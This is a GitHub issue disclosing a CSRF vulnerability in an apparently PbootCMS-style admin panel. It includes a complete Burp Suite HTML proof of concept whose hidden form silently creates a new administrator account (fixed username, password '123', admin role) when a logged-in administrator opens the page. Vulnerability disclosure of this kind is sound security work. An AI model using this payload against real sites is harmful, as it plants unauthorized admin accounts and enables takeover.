Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add the administrator account #1

Open
TplusSs opened this issue Dec 13, 2019 · 0 comments
Open

Comments

@TplusSs
Copy link
Owner

TplusSs commented Dec 13, 2019

After the administrator logged in, open this CSRFpoc page
CSRF.html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://pboot.com:12345/admin.php?p=/User/add" method="POST">
      <input type="hidden" name="formcheck" value="d48ee9bffae5f7fb7022ea1e7dd4a224" />
      <input type="hidden" name="username" value="TplusSs" />
      <input type="hidden" name="realname" value="asd" />
      <input type="hidden" name="password" value="123" />
      <input type="hidden" name="rpassword" value="123" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="roles&#91;0&#93;" value="R101" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then open the “/admin.php?p=/User/index” page to see the added system administrator

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant